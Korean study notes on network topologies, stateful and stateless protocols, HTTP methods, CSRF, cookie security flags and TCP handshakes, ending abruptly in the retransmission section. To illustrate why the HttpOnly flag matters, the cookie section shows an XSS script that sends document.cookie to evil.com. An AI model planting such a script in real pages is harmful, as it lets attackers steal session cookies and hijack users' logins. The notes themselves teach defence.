네트워크 토폴로지
네트워크 토폴로지는 장비들을 어떤 모양으로 연결할 것인가에 대한 이야기 입니다. 패킷·장비가 어떤 구조 위에서 동작하는지를 보는 큰 그림이라고 생각하면 됩니다.
Topology = 연결 형태. 컴퓨터, 스위치, 라우터 같은 장비들이 선(링크)으로 어떻게 이어져 있는지를 나타낸 배치도
물리적 토폴로지 vs 논리적 토폴로지
| 구분 |
의미 |
예시 |
| 물리적 토폴로지 |
실제로 선이 어떻게 깔려 있는가 |
모든 PC가 중앙 장비에 랜선으로 연결됨 |
| 논리적 토폴로지 |
데이터가 실제로 어떻게 흐르는가 |
그 중앙 장비가 허브라면, 신호는 모두에게 퍼짐 |
① 버스형 (Bus)
[PC1] [PC2] [PC3] [PC4]
│ │ │ │
■═╧═══════╧═══════╧═══════╧═■
종단 종단
저항 (백본 케이블) 저항
- 구조: 케이블 한 줄(버스)에 모든 장비가 줄줄이 매달려 있음
- 동작:
- 한 장비가 보낸 신호는 케이블 전체로 퍼져서 모든 장비가 받음
- 각 장비는 목적지 MAC을 보고 자기 것만 가져감
- 케이블 양 끝에는 신호가 반사되어 돌아오지 않도록 종단 저항(Terminator)을 추가
- 여러 장비가 동시에 보내면 충돌이 나서, CSMA/CD(보내기 전 확인, 충돌 시 대기 후 재전송)로 조율함.
| 장점 |
단점 |
| 케이블이 적게 들어 저렴 |
백본 케이블이 끊기면 전체 마비 |
| 구조가 단순, 장비 추가 쉬움 |
장비가 늘수록 충돌 증가 → 성능 저하 |
| |
어디서 고장 났는지 찾기 어려움 |
보안: 모든 데이터가 모든 장비에게 전달되므로, 아무 장비나 랜카드를 무차별 모드로 바꾸면 남의 통신을 전부 엿볼 수 있습니다(스니핑). 허브 환경도 마찬가지입니다.
② 성형 / 스타형 (Star)
[PC1]
│
[PC4] ── [스위치] ── [PC2]
│
[PC3]
- 구조: 모든 장비가 중앙 장비(허브 또는 스위치) 하나에 각자 연결됨
- 동작: 장비끼리 통신하려면 반드시 중앙 장비를 거쳐야 함.
| 장점 |
단점 |
| PC 하나나 케이블 하나가 고장 나도 다른 장비는 정상 |
중앙 장비가 고장 나면 전체 마비 (단일 장애점) |
| 장비 추가·제거가 쉬움 |
버스형보다 케이블이 많이 듦 |
| 고장 위치 파악이 쉬움 (중앙에서 관리) |
중앙 장비의 성능이 전체 성능을 좌우 |
현재 사무실·가정 LAN의 표준입니다. 집 공유기에 노트북, 폰, TV가 연결된 것도 스타형입니다.
단일 장애점 (SPOF, Single Point of Failure): 그 하나가 고장 나면 시스템 전체가 멈추는 지점. 스타형의 중앙 장비가 대표적. 보안의 3요소 중 가용성과 직결되는 개념
보안: 중앙이 허브면 물리적으로 스타지만 논리적으로 버스라 스니핑에 취약하고, 스위치면 해당 포트로만 보내서 훨씬 안전. 단, MAC 플러딩으로 스위치 테이블을 가득 채우면 스위치가 허브처럼 동작하게 만들 수 있음.
③ 링형 (Ring)
[PC1] ──→ [PC2]
↑ │
│ ↓
[PC4] ←── [PC3]
- 구조: 장비들이 원형으로 이웃과만 연결되고, 마지막 장비가 첫 장비와 이어짐
- 동작: 데이터가 한 방향으로 돌면서 각 장비를 거쳐 목적지에 도착함.
- 대표 방식인 토큰 링(Token Ring)은 “토큰”이라는 발언권 패킷이 링을 돌고, 토큰을 가진 장비만 데이터를 보낼 수 있음. 회의에서 마이크를 가진 사람만 말할 수 있는 규칙과 동일.
- 그래서 충돌이 원천적으로 없음.
| 장점 |
단점 |
| 충돌 없음, 장비가 많아도 성능이 예측 가능 |
장비나 링크 하나만 끊겨도 링 전체 마비 |
| 모든 장비가 공평하게 전송 기회를 가짐 |
장비 추가·제거 시 링을 잠시 끊어야 함 |
| |
데이터가 여러 장비를 거치므로 지연 발생 |
④ 망형 / 메시형 (Mesh)
[A] ─────── [B]
│ ╲ ╱ │
│ ╲ ╱ │
│ ╳ │
│ ╱ ╲ │
│ ╱ ╲ │
[D] ─────── [C]
구조: 모든 장비가 다른 모든 장비와 직접 연결
- 장비가 n개일 때 필요한 링크(회선) 수 = n(n − 1) / 2
- 장비 하나당 포트 수 = n − 1
| 장점 |
단점 |
| 링크 하나가 끊겨도 다른 경로로 우회 → 가장 높은 가용성 |
링크·포트가 엄청나게 많이 필요 → 비용 최고 |
| 장비끼리 직통이라 빠름 |
설치·관리가 복잡 |
| 트래픽이 분산되어 병목이 적음 |
|
TCP/IP가 탄생한 배경이 "일부가 파괴돼도 통신이 유지되는 네트워크"였습니다. 그 목표를 구현한 구조가 바로 메시형입니다.
⑤ 트리형 / 계층형 (Tree, Hierarchical)
[코어 스위치]
╱ ╲
[층별 스위치 A] [층별 스위치 B]
╱ │ ╲ ╱ │ ╲
[PC] [PC] [PC] [PC] [PC] [PC]
- 구조: 스타형을 여러 단계로 쌓아 올린 모양. 나무를 거꾸로 세운 것 같다고 해서 트리형
- 동작: 같은 가지 안에서는 가까운 스위치에서 해결, 다른 가지로 가려면 위로 올라갔다가 내려와요.
| 장점 |
단점 |
| 확장이 쉬움: 가지를 하나 더 붙이면 됨 |
상위 장비가 고장 나면 그 아래 전체 마비 |
| 부서·층별로 나눠서 관리하기 좋음 |
최상위(루트) 장비에 트래픽 집중 |
| 대규모 네트워크에 적합 |
|
회사 건물 네트워크의 기본 구조입니다. 1층 스위치, 2층 스위치가 각각 PC들을 연결하고, 이 층별 스위치들이 건물 중앙의 코어 스위치로 모이는 식.
Stateless와 stateful의 차이점
State(상태)란 “이전에 무슨 일이 있었는지에 대한 기억”입니다. 그래서 둘의 차이는 한 문장으로 정리됩니다.
- Stateless (무상태): 이전 기록을 기억하지 않고, 지금 들어온 것만 보고 판단
- Stateful (상태 유지): 이전 기록을 기억해 두고, 그 맥락까지 고려해서 판단
| 비교 |
Stateless |
Stateful |
| 기억 |
없음. 매 요청이 독립적 |
있음. 이전 요청·연결 상태를 저장 |
| 판단 근거 |
지금 들어온 것만 |
지금 들어온 것 + 저장된 맥락 |
| 메모리 사용 |
적음 |
연결·세션 수만큼 필요 |
| 처리 속도 |
빠름 (조회할 게 없음) |
상태 조회·갱신 비용 |
| 확장성 |
높음: 아무 서버가 처리해도 됨 |
낮음: 상태를 가진 그 서버가 처리해야 함 |
| 장애 복구 |
쉬움: 다른 서버로 바로 대체 |
어려움: 상태가 사라지면 연결 끊김 |
| 정교함 |
맥락을 모르니 단순한 판단만 |
맥락을 아니까 정교한 판단 가능 |
| 대표적 약점 |
위조된 "중간 패킷"에 속기 쉬움 |
상태 저장 공간을 고갈시키는 공격에 취약 |
프로토콜에서의 Stateless/Stateful 은 다음과 같습니다.
| 프로토콜 |
구분 |
이유 |
| IP |
Stateless |
패킷 하나하나를 독립적으로 처리. 라우터는 이전 패킷을 기억하지 않음 |
| UDP |
Stateless |
연결 개념이 없음. 보내고 끝 |
| TCP |
Stateful |
연결 상태(SYN_SENT, ESTABLISHED 등), 순서 번호, 받은 위치를 양쪽이 기억 |
| HTTP |
Stateless |
요청 하나하나가 독립적. 서버는 이전 요청을 기억하지 않음 |
| TLS |
Stateful |
핸드셰이크로 합의한 암호 키를 연결 동안 기억 |
| DNS |
Stateless (기본) |
질의 하나, 응답 하나로 끝 |
Stateless 방화벽 (패킷 필터링)
- 패킷을 하나씩 독립적으로 규칙과 비교
- 응답 패킷을 허용하려면 "들어오는 높은 포트(1024~65535) 전체 허용" 같은 넓은 규칙이 필요
- 공격자가 ACK 플래그만 세운 패킷을 보내면 "이미 연결된 통신인가 보다" 하고 통과시킬 수 있음 (ACK 스캔)
Stateful 방화벽 (상태 기반 검사, Stateful Inspection)
- 연결 상태 테이블에 진행 중인 연결을 기록
- 내부에서 시작한 연결의 응답만 정확히 허용
- 테이블에 없는 연결의 패킷은 차단 → ACK 스캔 무력화
HTTP 요청 방식
지난번에 본 HTTP 요청을 다시 보겠습니다.
POST /api/mail/send HTTP/1.1 ← ① 요청 줄: [메서드] [경로] [버전]
Host: mail.example.com ← ② 헤더
Content-Type: application/json
Cookie: session_id=abc123
{"to": "friend@maple.example.ca", "subject": "안녕!"} ← ③ 본문(Body)
- 메서드: POST → "무엇을 할지" (동사)
- 경로(URL): /api/mail/send → "무엇에 대해" (목적어)
- 본문: 함께 보낼 데이터
같은 /users/42라는 자원에 대해서도 메서드에 따라 의미가 완전히 달라집니다.
GET /users/42 → 42번 사용자 정보 줘
PUT /users/42 → 42번 사용자 정보를 이걸로 바꿔
DELETE /users/42 → 42번 사용자 지워
① GET: 조회
"이 자원을 보여줘"
GET /mail/inbox?page=2&sort=date HTTP/1.1
Host: mail.example.com
- 가장 많이 쓰이는 메서드. 주소창에 URL을 치거나 링크를 클릭하면 GET
- 전달할 값은 URL 뒤 쿼리 스트링(?page=2&sort=date)에 붙임
- 본문을 쓰지 않는 게 원칙
- 서버 데이터를 바꾸지 않아야 함 (읽기 전용)
- 결과를 캐시할 수 있음 → 같은 페이지를 다시 열면 빨리 뜨는 이유
② POST: 생성·처리
"이 데이터를 받아서 처리해줘"
POST /mail/send HTTP/1.1
Host: mail.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
to=friend%40maple.example.ca&subject=Hello&body=Hi+there
- 데이터를 본문(Body)에 담아 보냄
- 로그인, 회원가입, 글쓰기, 결제, 메일 발송 등 서버 상태를 바꾸는 작업
- 쓰임새가 가장 넓은 "만능" 메서드. 다른 메서드에 딱 맞지 않는 작업은 보통 POST로 처리
- 같은 요청을 두 번 보내면 두 번 처리될 수 있음 (메일이 두 통 발송, 결제가 두 번)
결제 완료 화면에서 새로고침하면 브라우저가 "양식을 다시 제출하시겠습니까?" 경고를 띄우는 이유가 이 때문입니다. POST는 반복하면 결과가 달라질 수 있습니다.
③ PUT: 전체 교체 (또는 생성)
"이 위치의 자원을 통째로 이걸로 바꿔줘. 없으면 만들어줘"
PUT /users/42 HTTP/1.1
Content-Type: application/json
{"name": "홍길동", "email": "hong@example.com", "phone": "010-1234-5678"}
- 자원 전체를 교체. 보내지 않은 필드는 사라질 수 있음
- 몇 번을 보내도 결과는 같음 (42번 사용자가 이 내용으로 바뀐 상태)
④ PATCH: 일부 수정
"이 자원의 이 부분만 바꿔줘"
PATCH /users/42 HTTP/1.1
Content-Type: application/json
{"phone": "010-9999-0000"}
- 바꿀 부분만 보냄
- PUT과 PATCH의 차이를 비유하면:
- PUT: 서류를 새로 작성해서 통째로 교체
- PATCH: 서류의 전화번호 칸만 수정테이프로 고침
⑤ DELETE: 삭제
"이 자원을 지워줘"
DELETE /mail/1234 HTTP/1.1
- 몇 번 보내도 결과는 “1234번 메일이 없는 상태”로 같음
⑥ HEAD: 헤더만 조회
“GET이랑 똑같이 하되, 본문은 빼고 헤더만 줘”
HEAD /files/report.pdf HTTP/1.1
→ 응답:
HTTP/1.1 200 OK
Content-Type: application/pdf
Content-Length: 5242880 ← 파일 크기 5MB
Last-Modified: Mon, 02 Nov 2026 03:00:00 GMT
(본문 없음)
- 큰 파일을 받기 전에 크기나 수정일만 확인할 때
- 링크가 살아 있는지(404인지) 가볍게 확인할 때
⑦ OPTIONS: 가능한 메서드 확인
"이 자원에 어떤 메서드를 쓸 수 있어?"
OPTIONS /api/users HTTP/1.1
→ 응답:
HTTP/1.1 204 No Content
Allow: GET, POST, OPTIONS
- 실무에서 가장 많이 쓰이는 곳은 CORS 사전 요청(Preflight)입니다.
- 브라우저가 a.com 페이지에서 api.b.com으로 요청을 보내려 할 때, 먼저 OPTIONS로 ”다른 사이트에서 이런 요청 보내도 돼?”라고 허락을 구합니다. 서버가 허락하면 그때 실제 요청을 보냅니다.
⑧ TRACE: 경로 진단
"내가 보낸 요청이 서버에 어떻게 도착했는지 그대로 돌려줘"
TRACE / HTTP/1.1
Host: example.com
Cookie: session_id=abc123
→ 응답 본문에 받은 요청을 그대로 되돌려줌 (에코)
TRACE / HTTP/1.1
Host: example.com
Cookie: session_id=abc123
- 원래는 중간 프록시가 요청을 어떻게 바꾸는지 디버깅하려고 만든 메서드
- 보안상 위험해서 운영 서버에서는 반드시 꺼야 하는 메서드
⑨ CONNECT: 터널 개설
"이 목적지까지 통로를 뚫어줘"
CONNECT bank.example.com:443 HTTP/1.1
- 브라우저가 프록시를 통해 HTTPS 사이트에 접속할 때 쓰고, 프록시는 통로만 뚫어주고 암호화된 내용은 그대로 중계해요.
메서드의 세 가지 성질: 안전성 · 멱등성 · 캐시 가능성
안전성 (Safe)
요청해도 서버의 상태(데이터)를 바꾸지 않습니다.
GET, HEAD, OPTIONS, TRACE가 안전한 메서드입니다. 검색 엔진 크롤러가 웹 페이지를 마구 돌아다녀도 되는 건, 크롤러가 GET만 쓰기 때문입니다. GET이 안전하다는 약속이 있기 때문입니다.
멱등성 (Idempotent)
같은 요청을 한 번 보내든 여러 번 보내든 결과가 같습니다.
| 요청 |
1번 보냄 |
3번 보냄 |
멱등? |
| PUT /users/42 {"phone": "010-9999"} |
전화번호 010-9999 |
전화번호 010-9999 |
✅ 같음 |
| DELETE /mail/1234 |
1234번 없음 |
1234번 없음 |
✅ 같음 |
| POST /mail/send |
메일 1통 발송 |
메일 3통 발송 |
❌ 다름 |
| POST /pay |
1번 결제 |
3번 결제 |
❌ 다름 |
왜 중요할까요? 네트워크는 최선형이라 응답이 사라질 수 있습니다. 요청을 보냈는데 응답이 안 오면, 클라이언트는 "서버가 처리했나? 안 했나?" 알 수 없습니다.
- 멱등한 요청이면 → 그냥 다시 보내도 안전
- 멱등하지 않은 요청(POST 결제)이면 → 다시 보내면 이중 결제 위험
그래서 금융 API는 결제 같은 POST 요청에 멱등성 키(Idempotency-Key)라는 고유 번호를 붙입니다. 서버는 "이 번호는 이미 처리했음"을 기억해 두고, 같은 번호로 다시 오면 처리하지 않고 이전 결과만 돌려주죠. Stateless 위에 상태를 덧붙이는 패턴의 또 다른 예입니다.
*참고: DELETE를 두 번 보내면 두 번째는 응답 코드가 404로 다를 수 있습니다. 멱등성은 응답이 같다는 게 아니라 서버의 최종 상태가 같다는 뜻입니다.
캐시 가능 (Cacheable)
응답을 저장해 뒀다가 재사용할 수 있습니다.
GET과 HEAD가 대표적입니다. 같은 이미지를 매번 서버에서 받지 않고, 브라우저나 CDN에 저장된 걸 재사용하죠.
성질 비교
| 메서드 |
용도 |
본문 |
안전 |
멱등 |
캐시 |
| GET |
조회 |
사용 안 함 |
✅ |
✅ |
✅ |
| POST |
생성·처리 |
✅ |
❌ |
❌ |
(거의 안 함) |
| PUT |
전체 교체 |
✅ |
❌ |
✅ |
❌ |
| PATCH |
부분 수정 |
✅ |
❌ |
❌ (보장 안 됨) |
❌ |
| DELETE |
삭제 |
선택 |
❌ |
✅ |
❌ |
| HEAD |
헤더만 조회 |
사용 안 함 |
✅ |
✅ |
✅ |
| OPTIONS |
가능한 메서드 확인 |
선택 |
✅ |
✅ |
❌ |
| TRACE |
요청 에코 (진단) |
없음 |
✅ |
✅ |
❌ |
| CONNECT |
터널 개설 |
없음 |
❌ |
❌ |
❌ |
GET vs POST
| |
GET |
POST |
| 목적 |
데이터 조회 |
데이터 전송·처리 |
| 데이터 위치 |
URL (쿼리 스트링) |
본문(Body) |
| 데이터 길이 |
제한 있음 (URL 길이: 브라우저·서버마다 대략 2K~8K) |
사실상 제한 없음 (서버 설정에 따름) |
| 데이터 형식 |
문자열만 (URL 인코딩) |
텍스트, JSON, 파일(바이너리) 모두 가능 |
| 브라우저 기록 |
URL이 방문 기록에 남음 |
본문은 남지 않음 |
| 북마크·공유 |
가능 (URL에 다 들어 있음) |
불가 |
| 캐시 |
✅ |
거의 ❌ |
| 새로고침 |
그냥 다시 요청 |
"다시 제출하시겠습니까?" 경고 |
| 멱등성 |
✅ |
❌ |
서버의 응답: 상태 코드
| 코드 |
의미 |
|
| 200 OK |
성공 |
GET 조회 성공, POST 처리 성공 |
| 201 Created |
새로 만들어짐 |
POST·PUT으로 자원 생성 |
| 204 No Content |
성공, 돌려줄 본문 없음 |
DELETE 성공, OPTIONS 응답 |
| 301 / 302 |
다른 주소로 이동 |
HTTP → HTTPS 리다이렉트 |
| 400 Bad Request |
요청 형식 오류 |
잘못된 JSON 등 |
| 401 Unauthorized |
인증 필요 |
로그인 안 함 |
| 403 Forbidden |
권한 없음 |
로그인했지만 접근 불가 |
| 404 Not Found |
자원 없음 |
없는 페이지 |
| 405 Method Not Allowed |
이 메서드는 허용 안 됨 |
허용되지 않은 PUT, DELETE, TRACE 요청 |
| 500 Internal Server Error |
서버 내부 오류 |
서버 코드 버그 |
2xx 성공, 3xx 이동, 4xx 클라이언트 잘못, 5xx 서버 잘못
CSRF
CSRF (Cross-Site Request Forgery, 사이트 간 요청 위조): 로그인한 사용자의 브라우저를 이용해서, 사용자가 의도하지 않은 요청을 대신 보내게 만드는 공격
회사에서 팀장님 도장을 맡아둔 비서가 있다고 해봅시다.
- 비서는 결재 서류가 오면 확인 없이 팀장 도장을 찍어서 처리합니다.
- 경리팀은 도장만 보고 "팀장님이 승인한 거구나" 하고 돈을 보냅니다.
그런데 누군가 서류 더미 사이에 "외부 계좌로 1,000만 원 송금" 서류를 슬쩍 끼워 넣으면?
- 비서는 늘 하던 대로 도장을 찍습니다.
- 경리팀은 진짜 도장이니까 송금을 하죠.
- 그런데 팀장님은 그런 서류를 본 적도 없습니다.
| 비유 |
CSRF |
| 팀장 |
피해자 (로그인한 사용자) |
| 비서 |
피해자의 브라우저 |
| 팀장 도장 |
로그인 쿠키 |
| 끼워 넣은 서류 |
공격자가 만든 위조 요청 |
| 경리팀 |
웹 서버 |
공격자는 도장(쿠키)을 훔친 게 아닙니다. 비서(브라우저)가 자동으로 찍게 만들었을 뿐이에요. 이게 CSRF의 본질입니다.
CSRF가 성립하는 네 가지 조건
하나라도 빠지면 공격이 안 돼요. 방어는 이 중 하나를 깨뜨리는 것이에요.
| 조건 |
설명 |
방어 |
| ① 피해자가 로그인 상태 |
유효한 세션 쿠키가 브라우저에 있음 |
세션 만료 시간 단축, 사용 후 로그아웃 |
| ② 인증이 쿠키에만 의존 |
브라우저가 자동으로 보내는 것만으로 인증됨 |
CSRF 토큰, 재인증, 커스텀 헤더 |
| ③ 요청 내용을 공격자가 전부 예측 가능 |
파라미터가 to, amount처럼 뻔함 |
CSRF 토큰 (예측 불가능한 값 추가) |
| ④ 피해자가 공격자 페이지를 방문 |
링크 클릭, 광고, 게시글 열람 등 |
사용자 교육 (근본 대책은 아님) |
CSRF vs XSS
| |
CSRF |
XSS |
| 한 줄 요약 |
사용자의 브라우저가 서버에 원치 않는 요청을 보내게 함 |
공격 스크립트를 사이트 안에서 실행시킴 |
| 공격 코드 위치 |
공격자의 사이트 (evil.com) |
피해 사이트 자체 (게시판 글 등에 심음) |
| 악용하는 신뢰 |
서버가 사용자의 브라우저(쿠키)를 신뢰 |
사용자가 사이트를 신뢰 |
| 응답 읽기 |
❌ 불가 (동일 출처 정책) |
✅ 가능 (사이트 내부에서 실행되니까) |
| 할 수 있는 일 |
상태 변경 (송금, 설정 변경) |
쿠키 탈취, 화면 조작, CSRF 방어까지 무력화 |
| 대표 방어 |
CSRF 토큰, SameSite, 재인증 |
입력값 검증, 출력 인코딩, CSP, HttpOnly |
*XSS가 있으면 CSRF 방어가 전부 무너집니다. XSS 스크립트는 사이트 내부에서 실행되니까, 동일 출처 정책에 막히지 않고 페이지의 CSRF 토큰을 읽어서 정상 요청을 만들 수 있습니다. 그래서 CSRF 방어는 XSS가 없다는 전제 위에서만 의미가 있습니다.
쿠키 보안 옵션
① 서버 → 브라우저 (응답 헤더)
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=1800
└─ 이름=값 ─┘ └──────────── 속성(옵션)들 ────────────────┘
② 브라우저 → 서버 (이후 모든 요청 헤더)
Cookie: session=abc123
- 속성(옵션)은 브라우저에게 주는 지시사항입니다. 서버로 다시 돌아올 때는 이름=값만 가고 속성은 가지 않습니다.
- 즉, 쿠키 보안 옵션은 브라우저가 지켜주는 규칙입니다. 서버가 설정하고, 브라우저가 집행하는 구조죠.
① Secure: HTTPS로만 보내라
Set-Cookie: session=abc123; Secure
- 동작: 이 쿠키는 HTTPS 연결일 때만 전송됩니다. http://로 가는 요청에는 붙지 않습니다.
- 막는 공격: 평문 구간에서의 쿠키 도청
- 사이트가 HTTPS를 쓰더라도, 어떤 이유로 HTTP 요청이 한 번이라도 나가면 쿠키가 평문으로 노출됩니다.
SSL 스트리핑 공격은 이 첫 HTTP 요청을 노립니다. Secure는 그 상황에서 쿠키만큼은 지켜주는 역할입니다.
- 쿠키 값 자체를 암호화하지 않습니다. 사용자 PC에는 그대로 저장됩니다.
- XSS로 쿠키를 읽는 걸 막지 못합니다.
② HttpOnly: 자바스크립트는 읽지 마라
Set-Cookie: session=abc123; HttpOnly
- 동작: 브라우저 안의 자바스크립트(document.cookie)로 이 쿠키를 읽을 수 없습니다. 요청에 자동으로 붙는 건 정상적으로 됩니다.
// 페이지의 스크립트에서
console.log(document.cookie);
// HttpOnly 없음: "session=abc123; lang=ko"
// HttpOnly 있음: "lang=ko" ← session은 안 보임
XSS로 세션 쿠키 탈취
게시판에 이런 XSS 공격 코드가 심겨 있다고 합시다.
<script>
fetch('https://evil.com/steal?c=' + document.cookie);
</script>
- HttpOnly 없음 → 세션 쿠키가 공격자 서버로 전송 → 공격자가 그 쿠키로 피해자인 척 로그인 (세션 하이재킹)
- HttpOnly 있음 → document.cookie에 세션 쿠키가 없으니 훔칠 수 없음 ✅
TCP 프로토콜
TCP (Transmission Control Protocol)는 전송 계층(4층) 프로토콜로, 최선형인 IP 위에서 신뢰할 수 있는 통신을 만들어 주는 역할입니다.
IP는 "보내긴 하는데 도착은 장담 못 해"라고 했죠. TCP는 그 위에서 ”빠짐없이, 순서대로, 정확하게 도착하도록 내가 책임질게"를 약속합니다.
비유: 전화 통화
| 단계 |
전화 |
TCP |
| 연결 |
"여보세요?" "네, 들려요" "네, 저도 들려요" |
3-way handshake |
| 대화 |
말하고, 상대가 "응응" 하며 반응 |
데이터 전송 + ACK |
| 못 알아들음 |
"다시 말해줄래?" |
재전송 |
| 너무 빨리 말함 |
"천천히 말해줘" |
흐름 제어 |
| 끊기 |
"끊을게" "응, 나도 끊을게" |
4-way handshake |
UDP가 전단지 배포라면, TCP는 전화 통화입니다. 통화 전에 상대가 받았는지 확인하고, 대화 중에도 계속 반응을 주고받습니다.
TCP의 핵심 특징
| 특징 |
의미 |
| 연결 지향 |
데이터를 보내기 전에 연결을 먼저 맺음 |
| 신뢰성 |
손실된 데이터는 재전송, 손상된 데이터는 폐기 후 재전송 |
| 순서 보장 |
뒤죽박죽 도착해도 순서대로 재조립 |
| 바이트 스트림 |
데이터를 메시지 단위가 아니라 연속된 바이트 흐름으로 다룸 |
| 전이중 (Full-duplex) |
양쪽이 동시에 주고받을 수 있음 |
| 흐름 제어 |
받는 쪽이 감당할 수 있는 만큼만 보냄 |
| 혼잡 제어 |
네트워크가 막히면 스스로 속도를 줄임 |
| Stateful |
양쪽이 연결 상태를 계속 기억 |
| 1:1 통신 |
브로드캐스트·멀티캐스트 불가 |
TCP 헤더 구조
0 16 31 (비트)
┌─────────────────────┬──────────────────────────────────────┐
│ 출발지 포트 (16) │ 목적지 포트 (16) │ 1줄
├─────────────────────┴──────────────────────────────────────┤
│ 순서 번호 Sequence Number (32) │ 2줄 ← 핵심!
├────────────────────────────────────────────────────────────┤
│ 확인 응답 번호 Acknowledgment Number (32) │ 3줄 ← 핵심!
├────────┬──────┬────────────────┬───────────────────────────┤
│Data Off│ 예약 │C E U A P R S F │ 윈도우 크기 (16) │ 4줄
│ (4) │ (4) │W C R C S S Y I │ │
│ │ │R E G K H T N N │ │
├────────┴──────┴────────────────┼───────────────────────────┤
│ 체크섬 (16) │ 긴급 포인터 (16) │ 5줄
├────────────────────────────────┴───────────────────────────┤
│ 옵션 (0~40바이트) │
└────────────────────────────────────────────────────────────┘
필드별 설명
| 필드 |
크기 |
의미 |
| 출발지/목적지 포트 |
각 16비트 |
어느 프로그램끼리의 통신인지 (UDP와 동일) |
| 순서 번호 (Seq) |
32비트 |
"내가 보내는 이 데이터의 첫 바이트가 몇 번째인지" |
| 확인 응답 번호 (Ack) |
32비트 |
“다음에 받을 차례인 바이트 번호” = 여기 직전까지 잘 받았다 |
| Data Offset |
4비트 |
TCP 헤더 길이 (×4바이트). 옵션 때문에 가변 (IP의 IHL과 같은 역할) |
| 플래그 |
8비트 |
패킷의 성격 (아래 표) |
| 윈도우 크기 |
16비트 |
“내가 지금 받을 수 있는 여유 공간” → 흐름 제어 |
| 체크섬 |
16비트 |
헤더 + 데이터 전체 오류 검사 (IP 체크섬은 헤더만이었죠) |
| 긴급 포인터 |
16비트 |
URG 플래그가 있을 때 긴급 데이터 위치 (거의 안 씀) |
| 옵션 |
가변 |
MSS, 윈도우 스케일, SACK, 타임스탬프 등 |
플래그 (Control Bits)
| 플래그 |
이름 |
의미 |
| SYN |
Synchronize |
연결 시작 요청. 순서 번호를 맞추자 |
| ACK |
Acknowledgment |
확인 응답 번호가 유효함. 연결 후엔 거의 모든 패킷에 붙음 |
| FIN |
Finish |
정상 종료 요청. "나 보낼 거 다 보냈어" |
| RST |
Reset |
강제 종료. "이 연결 없던 걸로 해" |
| PSH |
Push |
버퍼에 모으지 말고 바로 응용 프로그램에 넘겨라 |
| URG |
Urgent |
긴급 데이터 포함 (거의 안 씀) |
| ECE, CWR |
ECN 관련 |
IP 헤더의 ECN과 함께 혼잡 알림 처리 |
체크섬의 특이한 점: TCP 체크섬을 계산할 때 TCP 헤더·데이터뿐 아니라 IP 헤더의 일부(출발지·목적지 IP, 프로토콜, 길이)를 "가상 헤더(Pseudo-header)"로 함께 넣습니다. 그래서 NAT가 IP 주소를 바꾸면 TCP 체크섬도 다시 계산해야 합니다.
연결 수립: 3-Way Handshake
클라이언트(ISN = 1000)가 서버(ISN = 5000)의 443 포트에 접속하는 상황입니다.
클라이언트 서버
(CLOSED) (LISTEN: 443 포트에서 대기)
│ │
│ ① SYN │
│ Seq=1000 │
│ ─────────────────────────────────────────────→ │
(SYN_SENT) "연결하고 싶어. 내 시작 번호는 1000" │
│ (SYN_RECEIVED)
│ ② SYN + ACK │
│ Seq=5000, Ack=1001 │
│ ←─────────────────────────────────────────────│
│ "좋아. 1000 잘 받았어(다음은 1001). │
│ 내 시작 번호는 5000" │
│ │
│ ③ ACK │
│ Seq=1001, Ack=5001 │
│ ─────────────────────────────────────────────→│
(ESTABLISHED) "5000 잘 받았어(다음은 5001). 시작하자" (ESTABLISHED)
│ │
│ ════════════ 이제 데이터 전송 가능 ═══════════════ │
| |
플래그 |
Seq |
Ack |
의미 |
| ① |
SYN |
1000 |
– |
클라이언트 ISN 전달 |
| ② |
SYN + ACK |
5000 |
1001 |
서버 ISN 전달 + 클라이언트 SYN 확인 |
| ③ |
ACK |
1001 |
5001 |
서버 SYN 확인 |
SYN도 번호를 하나 쓴다: SYN 패킷에는 데이터가 없는데도 Ack가 1000이 아니라 1001입니다. SYN(그리고 나중에 나올 FIN)은 순서 번호를 1 소비하는 특별한 플래그입니다. 그래야 SYN 자체도 확인 응답을 받을 수 있습니다.
TCP는 양방향 통신이라, 양쪽 모두 이걸 확인해야 합니다.
- 클라이언트 → 서버 방향이 잘 통하는가
- 서버 → 클라이언트 방향이 잘 통하는가
- 서로의 시작 순서 번호를 알았는가
① 클라이언트 → 서버: "내 번호 1000" → 서버: 클라이언트 번호 알았음
② 서버 → 클라이언트: "1000 받음 + 내 번호 5000" → 클라이언트: 내 번호가 전달된 거 확인, 서버 번호도 알았음
③ 클라이언트 → 서버: "5000 받음" → 서버: 내 번호가 전달된 거 확인
2번으로 끝내면, 서버는 자기 ISN(5000)이 클라이언트에게 제대로 갔는지 확인할 방법이 없습니다. 원래는 4번(SYN, ACK, SYN, ACK)이 필요하지만, 서버가 ②에서 ACK와 SYN을 한 패킷에 합쳐서 3번이 된 것입니다.
또 하나, 네트워크를 떠돌던 오래된 SYN 패킷이 뒤늦게 도착했을 때 서버가 바로 연결을 확정해 버리는 것도 3단계 확인으로 막을 수 있습니다.
연결 시 옵션 협상
3-way handshake의 SYN, SYN-ACK에서 연결 설정도 함께 정합니다.
| 옵션 |
의미 |
| MSS |
한 세그먼트에 실을 수 있는 최대 데이터 크기 (보통 1460바이트). 지난번 캡슐화에서 나온 그 값 |
| 윈도우 스케일 |
윈도우 크기 필드(16비트, 최대 65,535)를 몇 배로 해석할지. 고속 회선에서 더 큰 윈도우를 쓰기 위해 |
| SACK 허용 |
"선택적 확인 응답"을 쓸지 |
| 타임스탬프 |
왕복 시간 측정, 오래된 패킷 구분 |
데이터 전송과 신뢰성
클라이언트 서버
│ Seq=1001, 100바이트 (GET / HTTP...) │
│ ───────────────────────────────────→ │
│ │
│ Seq=5001, Ack=1101, 1460바이트 │ ← 요청 받았음 확인 + 응답 데이터
│ ←─────────────────────────────────── │
│ Seq=6461, Ack=1101, 1460바이트 │
│ ←─────────────────────────────────── │
│ Ack=7921 │ ← 응답 두 개 다 받았음
│ ───────────────────────────────────→ │
- 받은 데이터에 대한 ACK를 내가 보낼 데이터에 함께 실어 보낼 수 있습니다 (피기백, Piggybacking). 두 번째 줄의 서버 패킷에 해당합니다.
- 세그먼트를 하나 보낼 때마다 ACK를 기다리지 않고, 여러 개를 연달아 보낼 수 있습니다. 얼마나 연달아 보낼지는 윈도우 크기가 결정합니다.
손실 발생 시: 재전송
방법 ① 타임아웃 재전송
보낸 뒤 일정 시간(RTO, 재전송 타임아웃) 안에 ACK가 안 오면 다시 보냅니다. RTO는 실제 왕복 시간(RTT)을 계속 측정해서 자동으로 조정됩니다.
방법 ② 빠른 재전송 (Fast Retransmit)
타임아웃까지 기다리면 느리니까, 더 빠른 신호를 씁니다.
